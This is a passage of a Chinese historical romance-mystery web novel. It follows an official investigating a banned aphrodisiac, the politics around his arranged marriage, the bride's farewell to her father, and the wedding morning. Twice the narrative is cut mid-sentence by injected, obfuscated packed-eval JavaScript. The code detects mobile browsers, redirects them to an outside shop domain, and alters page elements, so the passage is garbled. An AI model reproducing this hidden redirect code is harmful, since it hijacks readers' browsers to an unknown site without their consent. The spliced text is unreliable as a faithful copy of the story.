郑薜萝匆匆起身：“这里头太闷，公主容我出去透口气。” 她将幂篱戴上，出了包厢，便脚步匆匆往楼梯口走，没留神迎面过来个小厮，一头撞上。 “哎呀！长没长——” 那小厮正要发作，看清了郑薜萝后，舌头在嘴里囫囵打了个转，“——对不住啊姑娘，没事吧？” 郑薜萝摇了摇头，沿着走廊继续向前，身后的移门忽然“哗啦”一声拉开。象牙白长袍如月影轻移，有人从门里迈了出来。 她脚步一顿，不算宽敞的走廊一时有些拥挤，男人身上的脂粉味若有似无地朝鼻子里钻。 “客官！您要点什么？”小厮隔着郑薜萝，招呼她身后的人。 “我找个姑娘。” 没了方才那道板壁的阻隔，房遂宁的声音成倍的清晰。 小厮陪着笑道：“爷您喜欢什么样的，小的去给您——” 房遂宁似是冷笑了一下，语气懒散：“不用，不是你们这儿的姑娘。” 郑薜萝举起手中团扇，快步离开。 碧色倩影消失在楼梯口，走廊上残留着一股淡淡香气，房遂宁的视线定在某处，眉心微皱。 凭借常年断案的敏锐，他知道方才所在的包厢实则隔墙有耳。 今夜佳节，能在访仙阙天字号包房喝酒的非富即贵，加之又在酒楼下看到乔装打扮的公主府家丁，隔壁是谁便心中有数。 只是从隔壁房出来的那姑娘并非宁安公主，也不像是丫鬟，应当是哪家的贵女。 “主子——” 泊舟从角落钻了出来。房遂宁驱走脑中思绪：“出去再说。” 主仆二人穿过熙熙攘攘的人流，走到玉带河边一处小码头。 刑部提举司副提举熊坤一身黑袍，码头上悬着一盏灯笼照亮他眼底两道乌青，看来已是数日不曾睡饱，熊坤看见上司的一瞬间强打精神，迎上前来。 “大人，那歌伎夜来果然有问题。” “说。” “——根据司药监的查验结果，那‘灵肌丸’里面，并非相思子、驴驹媚这类常见的春.药方材，而是有一味传自西域，叫做‘鹊脑’的灵药，因为药性猛烈，于人体有损伤，早些年已经被朝廷明令禁止。” 泊舟闻言，忍不住道：“夜来一个教坊司出身的官妓，如何能得到这样的禁药，此人的确大有可疑！” “禁药……”房遂宁沉吟。 熊坤点点头：“若非大人您提醒，叫他们检验时带好护具遮掩口鼻，连司药监的药师都险些中招，幸好旁边的人及时用冷水激面……” 泊舟听到一半，突然看向房遂宁：“主子你……没事吧？” 熊坤不知所谓：“大人怎么了？” “我记得主子将那药丸交给我时，外面原本的蜡封就是破的，重新包过。” 熊坤一愣：“大人，您直接接触过那灵肌丸？” “……我没事，已经用过解药。” 司药监的人交代时语焉不详，只说接触鹊脑中毒者，并无行之有效的解药，便只能放出毒血，但放血之量甚大，可能危及生命，也因此遭到官府的禁绝。还有一种可能的解毒之法，能泄去体内经络淤积的毒气，所谓堵不如疏…… 熊坤尚在疑惑，听房遂宁冷声道：“给我找到这禁药贩卖的源头。” “是。” “这药罕见，除了药肆医馆，西市货行，还有寺庙道观——所有制作和流通药草的场所都需留意。”房遂宁命令。 熊坤面露迟疑，前两项都还好说，这最后一项却有些为难。京畿的寺庙道观大多来头不小，背后不是皇亲也有贵戚。如此兴师动众，况且查的还是春.药，难免要惹出麻烦。 不过他这位上司，是从来不怕事。 房遂宁看了他一眼：“有问题么？” “……没有。属下领命。” “那就好。派人盯住那个夜来。” “大人，不先将人拿下么？她定有问题。” “还不到时候，你——” 房遂宁话说了一半，眉头深深拧了起来。 泊舟顺着房遂宁的目光，只见不远处岸堤上一队人马装束整齐，正朝他们所在的码头而来。 领头的是房府管家房衡，他独自走上前，到房遂宁面前站定了，恭声道：“郎君，老奴来请您回府。” “谁告诉你们我在这儿的？” 房衡不答，目光下意识飘了一下。 房遂宁冷冷转眸，熊坤被他眼神扫到，登时头皮发麻：“老、老大……我也没办法，是尚书大人他问——” 他点点头，伸手按在熊坤肩头：“好样的，提举大人。” 熊坤苦着脸，转头看向泊舟试图寻求支撑，后者移开视线，以免主子的怒火伤及无辜。 房衡身后跟着的几个家丁不着痕迹地散开来，俨然一副要捉人的架势。 “我还有事，结束了便回。” 房遂宁说完便要绕开，却被房衡伸出手臂拦住了。 “老爷在家里找人，见您数日不回，大发雷霆，让我们必得把您带回去！——泊舟，你一直跟着少郎君，他大婚在即，怎么不劝劝？？” 泊舟如同聋了一般没有反应。房衡只能使了个眼神，几个家丁包抄上来，将房遂宁围在垓心。 房遂宁冰冷的视线自上而下缓缓垂落——方才围上来的一名家丁急切了些，竟伸手扒住了他的袖管。 “你们要做什么？押我回去么？” 他语速极缓，眸中冷光却似一把快刀。 少郎君从来不让人近身，何况如此冒犯？那家丁是房衡远方外甥，眼看难逃一劫，房衡咬咬牙，一巴掌甩在外甥脸上，啐道：“作死的杀才！滚远些！！” 这一巴掌动静不小，那家丁半边脸登时红了，捂着脸退开老远。 “管家虚张声势的本事果然高超。”房遂宁冷笑。 房衡头皮发麻，他知道少郎君眼神毒辣，不是好糊弄的——那一巴掌虽然看上去厉害，实则用了不到三成的力道。 他哀求道：“郎君息怒！实在是没办法了，您今晚若是不跟我们回去，我们也回不去的……求郎君别为难老奴啊！” 房遂宁下颌绷得愈紧，眉宇间蓄着怒火，冠玉一般的面孔犹如冰霜笼罩。 “滚。” 房衡忙将手一挥，家丁们走到码头边沿，分开两列，给房遂宁让了一条道出来。 房遂宁微微侧头，看向熊坤方向。后者方才吃了瓜落，心里正忐忑，见状急忙上前。 “蹲守象犀街，有任何异动，都来报我。” 熊坤心神一凛：“是。” 码头悬着的灯笼被风吹动，一簇火光在房遂宁深色的眸子里晃动，他冷冷睨着熊坤：“若这点事还办不好，你也不用再来刑部报道了。” “属下明白。”熊坤低声应道。 泊舟落在最后一个，走下码头台阶时被熊坤扯住衣袖：“大人他怎么不罚我……不会生我的气吧？” “熊提举厉害啊……”泊舟只撇了撇嘴。 熊坤看一眼房遂宁远去的身影，苦着脸道：“兄弟，我也是没办法啊！尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024506|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书大人亲自询问，我怎敢不说？你、你帮我在大人面前解释解释……” 泊舟不为所动：“主子的脾气你不知道么？他最恨自己人出卖，你这不是自触杖藜么！” “出卖？我没有啊！我怎么会出卖大人呢？！尚书大人他也是受左相所托，大人的长辈，又是咱们顶头上司，我怎么敢违逆啊……”熊坤急得几乎口吐白沫，“再说了，大人大婚在即，家里这不也是担心嘛……” “哎呀好了熊提举！别在这磨叽了，大人的婚事是你操心的么？？” 眼看主子在前面越走越远，泊舟被他揪着没办法，一甩袖子，“主子还肯交事情给你办，就不算对你定谳了。只要把他交代的事办漂亮了，否则你说再多也没用！” 熊坤被他点通这一层，立时如释重负：“是、是……兄弟你说得对！让大人放心，熊坤定不辱使命！！” 房府为接郎君回家，甚至专门驾了马车来，四辆高头大马拉着丞相府锦缎宝顶的马车停在访仙阙门前，十分惹眼。 房遂宁见这架势，哼笑一声，越过马车径直上了自己的马。房衡无奈，只能带着人一路小跑跟在后面。 好在郎君但是没再使性子，穿过万祀大街，便打马进了隆兴坊。 泊舟见后面人跟得不紧，上前一步道：“主子，您为何这么盯着那卢祭酒不放？” 象犀街是卢序槐的别院所在，方才房遂宁的命令，便是要重点关注卢。 房遂宁目视前方，压低声音：“你可记得，一个月前查办‘恶钱’案之时，户部账目中那笔去向可疑的银钱？” “记得……所以，那银钱源头在卢祭酒的头上？”泊舟后知后觉，“——对啊，卢序槐频频流连欢场，颇为青睐的便是歌伎夜来，流水价的银钱都花在了她身上。国子监祭酒一年的俸禄不过禄米四百石，哪来的本事为鸣珂曲的花魁一掷千金的……” 房遂宁沉眉不语。 泊舟打量他神色，知道主子这阵子心中一直憋着股气。 案件正查到关键处被圣上叫停，但房遂宁并没有放弃，为免打草惊蛇，他没有直接去查那卢序槐，而是暗中盯着那叫夜来的歌伎。他们带着人在夜来的别院附近蹲守数日，趁她某日出行，潜了进去。 正一无所获时，房遂宁发现了佛龛上供着的一尊造型别致的菩萨像。他听出菩萨腹内中空，隐隐有异响。于是从那菩萨腹中，取出了一只巴掌大的木盒。 那木盒处处透着古怪，还有股幽幽的奇香，房遂宁心知有异，并未当场打开。 “主子，那盒子里装的便是灵肌丸？您将灵肌丸带去了别院？” 房遂宁蹙眉。 那夜房遂宁在画麟阁中研究那木盒，他知道那盒子有异，动作原本十分小心，正对着烛火细细端详，忽听得有女人出声，一分心，不慎按动了那盒子上的开关。虎口微痛，才察觉一根竹刺扎进手里。 后面的记忆，便十分模糊了…… “——那‘灵肌丸’的解药，您到底从哪里得来的？” “没有什么解药。” “那您怎会……？”泊舟疑惑着回忆，“那夜，属下在麟趾山脚的馆驿等着主子一道回城，天尚未亮，您便下了山……” 他记得，房遂宁让他迅速召集人马，回程沿途搜查有无可疑人物。那时他还微觉奇怪，那个时辰皇城已经宵禁，无通行禁令者难以擅自行动，哪里来的可疑人物。 那一整日，房遂宁的状态都有些奇怪。现在想来，或许便是因为中过毒的缘故。 泊舟感叹：“多亏是主子从小修道，定力不一般！那么厉害的药物，若是寻常人，怎能抵受得住？” 房遂宁眸光微动，半晌道：“最近别院附近，有无见过生人？” “别院地处偏僻，甚少有人会往那方向去，就连府里人都不知具体位置——主子为何这么问？” “……没什么。” 回想那夜画麟阁的境遇，他总以为是梦，梦里人的面孔模糊，怀中的触感却十分清晰。醒来后眼前残余一片凌乱，揉皱的道袍和四下旖旎的痕迹，都清楚地昭告：那不是梦，他在欲.火烧身之时，和一个神秘女郎共赴了巫山。 若不是因为这灵肌丸，他怎会失控至此？自六岁入道，十五年清静自守，一朝破功，竟然是这样的体验…… 房遂宁攥着缰绳的手不自禁握紧。 就在圣人指婚的那一夜，竟然遇到这样的事情，他不能容忍这样的意外。查恶钱案这么久，忽然有种黄雀在后之感。 是有人针对他下的套？竟然能不知不觉潜入他的禁地，他率人在宵禁后的玉京城搜索可疑的踪迹，除了半路上遇到回府途中的郑远持，并无特别所获。 他不信那神秘女子真会是什么山中精怪，想必和郑家逃不了干系。 “终于回家啦。”泊舟望着前方隆兴坊的门楼，感叹了一句。 “郎君回来了——！” 厚重朱门缓缓开启，“辅翼国政”四个金光闪闪的大字牌匾下，房家少郎君被一行人簇拥着回到了家。 8. 第 8 章 岁安堂内，裴夫人捻着串佛珠，在香烟缭绕中半阖着眼。 “……夫人有机会，还是好好宽慰一二，莫让表小姐再做出什么不合适的举动，上次遣人去郑府，这也实在有些过了，好在人家没说什么。” 裴夫人叹了口气，正要说什么，听见外面动静。二人一起抬头。 “桡哥儿回来了！” 秦嬷嬷快步迎上前，便闻到房遂宁身上浓重的脂粉气，忙吩咐婢女：“给郎君端碗热汤来，去去酒气。” “多谢嬷嬷，我没饮酒。” 房遂宁稳步走到裴敏面前，端正行礼：“母亲，我回来了。” “坐吧。” 房遂宁一撩袍，在裴夫人下首落坐。 “知道你公务繁忙，但圣上赐婚，连你父亲都不得不慎重。提亲的时候没有登门，已经让人拿了话头，如今婚期已定，就在下月初六，要尽快着手预备，这才让人去请你。” 裴夫人这话说的尚给儿子留了些面子，实则房速崇的原话是：把这小子给我捉回来，别在成亲之前再折腾出什么人命，太不吉利！ 三月初六，只剩二十余天筹备了。这是不顾一切，要让两家尽快完婚的节奏。 “儿知道了。” “循园已经让人在收拾，去看看还有什么缺的漏的，告诉秦嬷嬷，她着人去办。” 房遂宁自从十四岁结束修行回到家中，便入住了与房府毗邻的循园。他自幼漂泊在外，本就不喜欢左辅右弼的排场，自从进了六部，朝廷为刑部职官的居所增加守卫，循园便借此和房府彻底分隔开来，虽然是一家，但两个院子日常并不互通，就连房速崇夫妇要去循园，也需绕一大圈从正门入。 不过这些年除了节庆和一些特殊的日子，房遂宁大半时间都宿在刑部衙署，与家人之间的互动也极为稀少，循园里自然也是常年没什么人气。 如今房遂宁成婚，也总算能名正言顺地以准备婚仪的名义将循园装点一番。 房遂宁语气依旧平平：“母亲看着办，怎么都好。” 裴夫人凤眸微凛，细细打量着他，试图在儿子脸上寻找一些真实流露的情绪。房遂宁若有所察，抬头和母亲对视，平直的唇角略带敷衍地勾了勾：“您还有何吩咐？” “贵妃娘娘请了裁衣局的宫人，明日一早来替你量体做婚服。改日进宫时，记得顺道去凤藻宫谢个恩，你姨母一向待你如亲生，你的婚事她颇为上心，切莫忘了。” “儿记得了。” “你父亲正在书房里陪客，他有话要同你讲。要么，你就在这里等他一会。” “是。”房遂宁颔首，捏起手边的茶杯抿了一口。 裴夫人见儿子没什么要说的，收回视线，看向秦嬷嬷：“你继续吧。” 秦嬷嬷便道：“郑家那边，一应的礼仪规矩都已教完。回来时，李夫人让把他们筹备的嫁妆单子带过来，请夫人过目。” 她从袖中取出一只红封，呈递过去。 裴夫人接过，只觉沉甸甸地压手，将册子展开，只听“哗啦”一声，层层叠叠的红纸便如同巨幅的扇面一般，一路坠到了地上。 ……这么多！ 秦嬷嬷愣了愣，连忙上前，帮着将那份长得离谱的单子收拢回夫人手里。 裴夫人垂眸看了两页：黄花梨攒海棠花围拔步床一架，红酸枝木罗汉床一张，紫檀木透雕贵妃榻一张，金银灯树各一盏，玉如意十柄，香檀合页屏风两扇，南海大珠百斛…… 除了首饰珍宝，锦缎丝帛，古玩乐器，生活器具等等，更有散布于京畿、江南各地的房产、铺子、田庄，价值万金不止。 她不再细看，缓缓将册子合拢。 “如此丰厚的嫁妆，怕是房府和循园加起来都塞不下，郑家女儿果然金贵。” 房遂宁看向裴夫人手里捏着的册子，唇角勾出讽刺笑意。 大祈虽有律法严明规定，婚礼不得奢靡，更是禁止以婚姻论财，但嫁妆属于妻子个人的赀玩，也是女儿离开母族的最后体己，于情于理始终未能禁绝。渐渐地，嫁妆是否丰厚，代表着女儿在家里是否受到珍视，更影响到出嫁后夫家如何对待。 民间甚至有过因家里贫穷，凑不齐一份体面的嫁妆，成亲之日姑娘在房中嚎啕大哭，不肯上花轿的情形。 郑氏这张丰厚的嫁妆礼单，与房家送去郑家的彩礼相比，简直是霄壤之别。更是一反郑远持这些年来低调行事的风格。似在态度鲜明地告诉房家：能娶走我的女儿，是你们的福气。 更或者，无人能配得上我的女儿。 房遂宁收敛笑意，站起身来：“儿不打扰母亲，去父亲院子里等。” 裴敏颔首，目送着儿子的背影迈步出门，看向秦嬷嬷。 “那丫头怎么样？”这是在问郑薜萝了。 “温柔知礼，虽然养得金尊玉贵，倒看不出什么太过骄矜的毛病……” 秦嬷嬷沉吟着，想想还是没将传授《素女经》时的插曲讲给夫人，又道，“她和宁安公主似是关系不错，我从郑府出来时，正遇上公主来找郑家姑娘。” “宁安公主……”裴夫人若有所思。 - 房遂宁沿着抄手游廊一路进了东院。书房的门紧闭，一个红衣宦者正侯在廊下，听见脚步声，转头看了过来。是东宫身边的近侍高公公。 高公公面上带笑，快步走下台阶，朝房遂宁叉了叉手：“还未恭喜郎君。” “公公客气。” “婚期已定，郎君定然有得要忙了！” 房遂宁淡淡道：“我倒是还好，只是恐怕劳动一大帮人跟着操劳。” “嗳，郎君说得哪里话，这是圣人赐婚，宫里府里都当做是最大的喜事来办，好久没这么热闹过了呢！” 高公公近距离打量着房家郎君，内心只纳闷，这样一副日角珠庭的骨相，怎会背地里被人唤作“阎王”？ 心中想着，口中只叹，“这样天造地设的因缘，叫咱家也羡煞！” 房遂宁轻轻一笑，并不言语。 高公公见四下无人，压低声音道：“郎君恐怕还不知，郑侍郎已经正式迁任枢密使了。” 枢密使一职，一般只是用于过渡，郑远持现任户部侍郎，户部尚书之位空悬已久，这一天迟早要来。 房遂宁扬眉：“哦？那更应该恭喜我这位准岳丈，熬了这么些年，终于荣升户部首官。” “不是户部。” 高公公摇头，献宝一样更凑近了些，“圣人亲拟的旨意，有意封郑大人为尚书右丞，圣旨已经到了郭尚书手里——如此，你们房郑两家，可不就是真真正正的门当户对！” 吏部尚书郭选乃是皇后的亲兄弟，官员擢选这样的消息，东宫自然是第一时间得知。 正说着，书房门忽然推开了，一身常服的太子李邺迈出门来。 房速崇跟在后面出门，面色并不十分好，看见房遂宁，更添了几分压不住的愠气。 “荪桡！有阵子不见！” 太子走过来，亲和地拍了拍房遂宁的肩膀，后者敛眉退后半步，向储君行稽首礼。 “房遂宁参见殿下。” 房速崇准备亲自送太子出院，却被太子拦住了：“房相留步，孤许久不见荪桡，和他叙叙话。” “也好，”房速崇看了儿子一眼，沉声，“ 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房遂宁并未揭穿，只是淡淡敛眸：“殿下说得是。” 太子突然停了脚步，在九曲桥上站定了，转过身来。 “荪桡，你出身房氏，便该知道，这桩婚事，并不仅仅是两个人的事而已。” “……臣明白。” “你不明白。” 太子的语气变得严肃起来，“如今郑远持连升两级，即将擢升尚书右丞，将来便是和你父亲比肩，六部各领其三——让一个商户出身坐到如此高位，这是父皇权衡朝局，在有意抑制世家大族，所以房郑两家联姻，是世族不得不做出的姿态！” 他将手中折扇一合，扇骨在房遂宁的肩头点了点。 “该做的表面功夫还是得做，不要抓着郑远持不放。往后兵、刑、工三部，皆由他来署理，他除了是你的岳丈，也是你的顶头上司，若再闹到父皇面前撕得难看，于你、于房家，能有什么好处？” 房遂宁垂眼，盯着太子折扇扇褶上的青翠竹叶，平声道：“微臣掌管刑名，只看事实真相，并没有揪着谁不放。” “孤知道你在查卢序槐，郑远持在国子监时与他同期为官，二人之间有无利益勾结，的确难讲……孤听说，郑远持这回给女儿预备的嫁妆耗资甚巨，疑犯他在京十数年为官的低调勤俭。他这么做是什么意思，你可明白？” 房遂宁撩起眼皮。他自然明白，这一笔“巨额”嫁妆，除了在向房氏示威，也是昭告朝野，郑氏乃江南第一富商，身有万贯家产，乃世代经营所得。他郑远持没有必要去贪，更不怕任何人来查。 他冷笑，锋利的薄唇轻吐：“没有禁不住查的人。” “你看看，还说没有揪着人不放！孤真是不懂，郑远持究竟哪里得罪了你，倒比你父亲还要执着……” 太子苦笑着揉了揉眉心，“不要太拼命了，案子是查不完的！趁着成婚，好好休个假，放松放松，清河房氏一族，将来唯有靠你啊！” 类似的话，自幼不更事时长辈们便不停地灌输给房遂宁，从孩提懵懂，到少年沉郁，如今听到一双眼里只剩淡漠。 “你既娶了郑氏女，你为夫，便是纲，她需得从你。若真无什么感情，来日再娶可心的回来作媵妾，她又有何话可说？” 太子换了副语气，低声：“实在不行，委屈一阵，待风头过去，寻个错处将郑氏休了，再将你那裴家表妹娶进门，也是一样的……” 房遂宁抬眼与太子对视，终是笑了笑。 “微臣，多谢殿下指点。” 9. 第 9 章 连太子都出面劝诫，房家的拼命三郎终于不再执拗，踏实在循园住下，接连数日未曾迈出府门一步。 进了三月，婚仪的筹备到了收尾阶段，房郑两家的紧张气氛益发浓厚，人人忙得脚打后脑勺。各自按照礼部的规制，一遍遍核查议事所需的一应器具、迎亲障车、婚房的布置…… 房遂宁作为婚仪的主角，却无人敢再去多要求他些什么，只要新郎官能在指定的日子出席便好。 婚礼前三日，宫中传出消息，将有皇子代表皇室出席婚仪，更让两家紧张了不少。礼部司仪官更是特地登门，来向房遂宁最后传达一遍婚仪的流程。 “……初六那日，郎君须得于辰时二刻，准时到达郑府亲迎新妇，接引出门。您需要亲手将妻子扶上婚车，接回府中。” 司仪官见房遂宁神色散漫，不得不在“亲手”二字上着重强调。 “知道了。还有什么?” 房遂宁姿态倒是端正，面上的不耐却已经颇为明显。礼仪官觑着他神情，欲言又止：“旁的……倒也没什么了……” 按照民间习俗，婚仪还会有“弄女婿、戏新妇”的环节，不过这些本是为了热闹烘托喜庆气氛的环节，这房郑两家结亲，只须把流程太平走完，面子上过得去也就是了。 所有事项交代完毕，司仪官适时告辞出了门。正好泊舟从外面回来，脚步匆匆进屋，将门从里面阖上。 “主子，夜来失踪了。” “什么时候的事？”房遂宁眼皮一掀。 “熊提举带着人在鸣珂曲和象犀街两头蹲守，一连数日都没有动静，今早接到教坊司报案，说歌伎夜来失踪。” “卢序槐呢？” “卢祭酒告病七日不曾上朝，今早天不亮便坐了顶小轿，去了罗甸街。” 房遂宁眸中凛起寒意。 “好啊，又是郑家。” - 毗邻户部衙门的罗甸街，自从上旬起就车马不断，上门道贺的人如流水一般。 郑氏嫡长女即将嫁入房氏，又传郑远持将于不久擢升，成为大祈建朝以来最年轻的尚书右丞——算得上是双喜临门。 三月三开始，郑府正门紧闭，谢绝一切来访。接连数日应付以道贺为由，前来汇报公务、打探口风的人，郑远持终于觅得一刻清净。 他从书房出来，信步至中庭，脚步一顿。 郑薜萝正抱着膝，望着灯火通明的庭院发呆。 礼记有云：嫁女之家，三夜不息烛火，思相离也。从暮色降临时，四处便点起庭燎，照亮了府院的每个角落。 一连数月阖府上下的忙碌，似乎在一瞬间放慢了。 郑远持默默站在廊柱一侧。有个梳着双髻的丫鬟经过，看见独自坐着的郑薜萝，便特地绕过去，轻唤一声“姑娘”。 郑薜萝抬起头：“掬霜？是母亲有什么吩咐么？” 掬霜摇摇头，将手里的一只纸袋捧上前：“吴妈妈见街边卖糯米糕的铺子还开着，特意买了些回来，说姑娘爱吃。” 郑薜萝一怔，将纸袋接过。掬霜欲言又止，略一屈膝，最后还是走开了。 “怎么不尝尝？晚饭看你也没用多少。” 郑薜萝转头，眸光微亮：“父亲。” 郑远持按住女儿将欲起身的肩膀，在她旁边坐下：“你母亲听吴妈妈说的，你爱吃这个，才叫人买回来的。” 郑薜萝看着手中的纸袋出神。 最初来到玉京时，她对这里的一切都极不适应。母亲对她颇为严厉：除了琴棋书画，一应生活习惯都被严格规训，要养出淑女洁白整齐的一口贝齿，需戒掉她自小就喜爱的甜食；乡音被刻意纠正，和人交谈时要说流利的官话…… 看着一连数日饼、面为主食的餐桌，幼年的郑薜萝实在不能习惯，接连几顿饭不曾动筷。对此李砚卿也只是淡淡道：不吃就饿着。 糯米糕的执念，是郑薜萝和吴妈妈之间的秘密。最初发现那家来自宣郡的老板开的铺子时，她兴奋地指给吴妈妈看。 这是她与吴妈妈之间的秘密，那日偷跑出门，她才会以糯米糕为借口，瞒过吴妈妈，也瞒过家里的所有人。 “你是她的女儿，你喜欢什么，你母亲如何会不留心？”郑远持叹了一口气。 郑薜萝沉默半晌。 “其实，女儿不想嫁给房遂宁。” 郑远持一怔。他似乎从未在女儿口中听到如此明确的“不愿”。 尽管所有人心中清楚，这桩婚事对郑家而言，是身为人臣顾全大局的“承恩”，而对郑薜萝而言，却是一块从天而降的巨石，将她牢牢圈禁。 “为父知道。” 庭燎之下，温黄的暖光照亮府院，与父亲并肩而坐的姿势，让郑薜萝回想起幼时鲜少的父女时刻。 她侧过脸，郑远持眼角细密的纹路近在咫尺，心中一时有种一吐为快的冲动。 “其实，我想过一走了之。得知婚讯的那一天，女儿等到很晚您都没有回来，于是我——” “是为父对不起你。”郑远持不忍再听。 郑薜萝不曾见过父亲如此颓唐的样子，好不容易攒起的勇气被冲溃，她闭了闭眼，缓缓摇头。 “我知道父亲也不想女儿嫁，也曾经想要找外祖想办法。” “你母亲她——”郑远持正想开口，郑薜萝却抢先道：“我不怪她，女儿知道，母亲是对的。” 郑远持微愣，这句话原本他常对女儿讲，他点了点头，又叹一口气。 “若不是那一年你在你祖父家落水，大病一场，我们看到你那时的状况，才决定将你带回身边。” 蓁州祖宅虽大，产业众多，家中熙熙攘攘，皆为利来，无人顾得上年幼的郑薜萝。李砚卿更是担忧，在这样的环境下，女儿的教养恐怕就此废弛。虽然二人也曾动过念，要将郑薜萝送回宣州外祖那里，可终究不是长久之计——薜萝的舅舅在宣州照顾年事已高的父母，再替他们看护女儿也难免周全，恐怕日后更引龃龉，便作罢。 “女儿明白您和母亲的苦心。我初来玉京时，您刚进户部，每日忙得不可开交。母亲要陪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024508|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您，又要应付外面的人情往来，常常回得很晚……在我们面前，有时连说话的力气都没有。” 郑远持忆起当年辛苦，一时动容。 郑薜萝莞尔一笑。 “倘若当初让我一直留在江南，也不会有这么多烦恼了。是不是，父亲？” 郑远持哑然。因为圣人指婚，他心中曾经有过同样的后悔。但面对女儿，如何能坦率的承认？ 郑薜萝抬头，平静道：“父亲，女儿想通了，如果婚姻是必须承担的使命，至少让女儿为您分些忧。” “为父有什么忧，需要你来分？”郑远持皱眉。 “房遂宁，他是不是一直在揪着您不放？” “……这不是你操心的事。” “我若嫁他，以后和您有关的事，他都需回避，对不对？” 郑远持的眉头紧紧拧了起来。 虽然他鲜少将公事带回家，但这一阵子房遂宁调查户部的事，在朝野传得沸沸扬扬，她又怎可能一无所知。 郑薜萝仰头看天，一轮新月细如眉，一半隐在云后。 半晌，她转过脸来，看向父亲：“女儿出嫁，既能全了郑氏的忠，也能为父亲解围，怎么不算两全？” 郑远持哽住。 这话如同一块巨石堵在他胸口。这些年朝野纵横，勾心斗角，谁人可称“良善”？阿萝却如此无条件地信任着自己，甚至要牺牲终身的幸福。 “已经任性过了，不能再放肆了……”郑薜萝低声喃喃着。 郑远持将女儿的柔荑握在掌心，缓声道：“傻丫头，我们对你，终究是亏欠更多些。” 郑薜萝摇了摇头，捻着裙腰上的流苏珠串：“女儿出嫁那天，祖母能来么？” 看着女儿亮晶晶的眸子，郑远持不忍道：“你祖母年事已高，去年秋天刚病了一场，这么远的路程，舟车劳顿太耗精力……” “是了。女儿明白的，只是随口一问。” 郑薜萝眸子里的星点光亮黯了黯，又恢复了淡然。 在玉京这些年，她最思念的人便是祖母，起初每晚入睡时，想家的情绪偶尔会让她沾湿了枕巾。 “为父已经修了封家书回去，将你的婚事告知了祖母，你是她最心爱的孙女，她会高兴的。” 郑薜萝点头：“嫁入清河房氏，又是圣人指婚，女儿这桩婚事如此体面，祖母她老人家自然会为阿萝开心！” 听出她努力宽慰自己的口吻，郑远持心头愈发酸涩，“你知道么，那嫁妆也是你母亲的意思，她不想看你受委屈，也只能用这种方式，为你托底……” 郑远持咬了咬牙，将郑薜萝的手攥紧。 “若在那边过得实在不如意，只管叫那房遂宁写一纸和离书来。如今和离再醮也并非新鲜事，凭着我的阿萝这样的条件，什么样的不愁找？” 郑薜萝抿唇，眸光被远处的烛火点亮。 “父亲说得对，” 她回过头，冲郑远持眨了眨眼。 “到时候，我就听成帷的，去嫁个状元郎来。” 10. 第 10 章 三月初六，天朗气清，风和日丽。 泰半玉京城的百姓皆知，今日是房郑两家结亲的日子。 隆兴坊内，占据半坊之地的丞相府，远望如被祥云缭绕，朱户甲地，楼阁参差，有丝竹管乐之声盈耳。 房速崇与裴敏夫妇二人盛装华服，端坐高堂。曲乐喧嚷中，身着爵弁的房遂宁在礼仪官引导下迈进堂屋，于父母面前行跪拜礼。 得见儿子逾冠岁终于娶妻成家，房速崇这些日子心里郁积的不快散去大半。 “时辰已到，往迎汝妻，承奉宗庙！” 房遂宁稳稳起身，面上不见一丝情绪，犹如随节奏行动的假人。 裴夫人将视线从儿子身上移开，低声：“去吧。” 从丞相府到罗甸街，几乎跨越大半玉京城，沿路设置禁断，红绸如云一路绵延至永宁坊。街上百姓人头攒动，高声呼喊着吉祥话，便有家丁从锦袋中掏出喜糖喜饼，漫天挥洒，惹得一阵哄抢。 如此声势浩大的婚仪，甚至劳动了京兆尹府出来维持秩序，今日执勤的官兵衙差们自然也得到了丰厚的红封，扛着长枪或是手执仪仗的均是喜笑颜开。 房遂宁坐于障车之中，对外面的热闹充耳不闻。 与此同时。郑府。 郑薜萝身着翟衣，脚踩羽舄，如被花团锦簇围绕，行动间葳蕤生光，在傧相搀扶下迈出西厢，一路行至家庙。 金线绣着凤凰的团扇半遮在眼前，新娘稳稳地跪下去，宝钿礼冠沉沉地压着头，她的姿态却依旧稳重，鬓边华丽的花树步摇几乎没有大幅的晃动。 “新妇辞行祖先！” “拜别父母！” 三叩首罢，郑薜萝直起身子。 按照规程，接下来，需由父母向女儿提出“结缡三命”。郑远持张了张口，却未能发得出声音。 外面的曲乐声凸显堂内寂静，郑薜萝微微降下手中团扇，端坐的夫妻二人看见她扇后露出的笑眼，似有宽慰之意。 李砚卿眸光微动，转头见丈夫额间横纹深如沟壑，显然强忍着胸臆涌动的酸楚。她扶住丈夫手臂，朗声：“薜萝，今朝你嫁为房家妇，往后侍奉夫君，切记敬之慎之，夙夜无违。” 曲乐声陡然高亢，遮住她微微发颤的尾音。 “是。” 郑薜萝再度埋首，将额头贴向冰凉的玉石砖面。 郑远持撑着扶手站起身，朝女儿缓步走过去。 “收好。” 郑薜萝愣住。父亲递过来的是一条青色的巾帕，缝边处的针脚已有磨损。 “这是……” “你祖母寄来的，说要交给她的娞娞。” “娞娞”是祖母对她专有的亲昵称呼，如今已许久不曾听过。郑薜萝心头一酸，伸手接过那帕子，掌心触到凸起的花纹，是祖母一针一线亲自为她绣上的丝萝。 她被接到蓁州时才只有三岁，有段日子半夜时常惊醒啼哭不止，都是祖母搂在怀里轻拍着，一边唱着歌谣，一边哄着重新入睡。 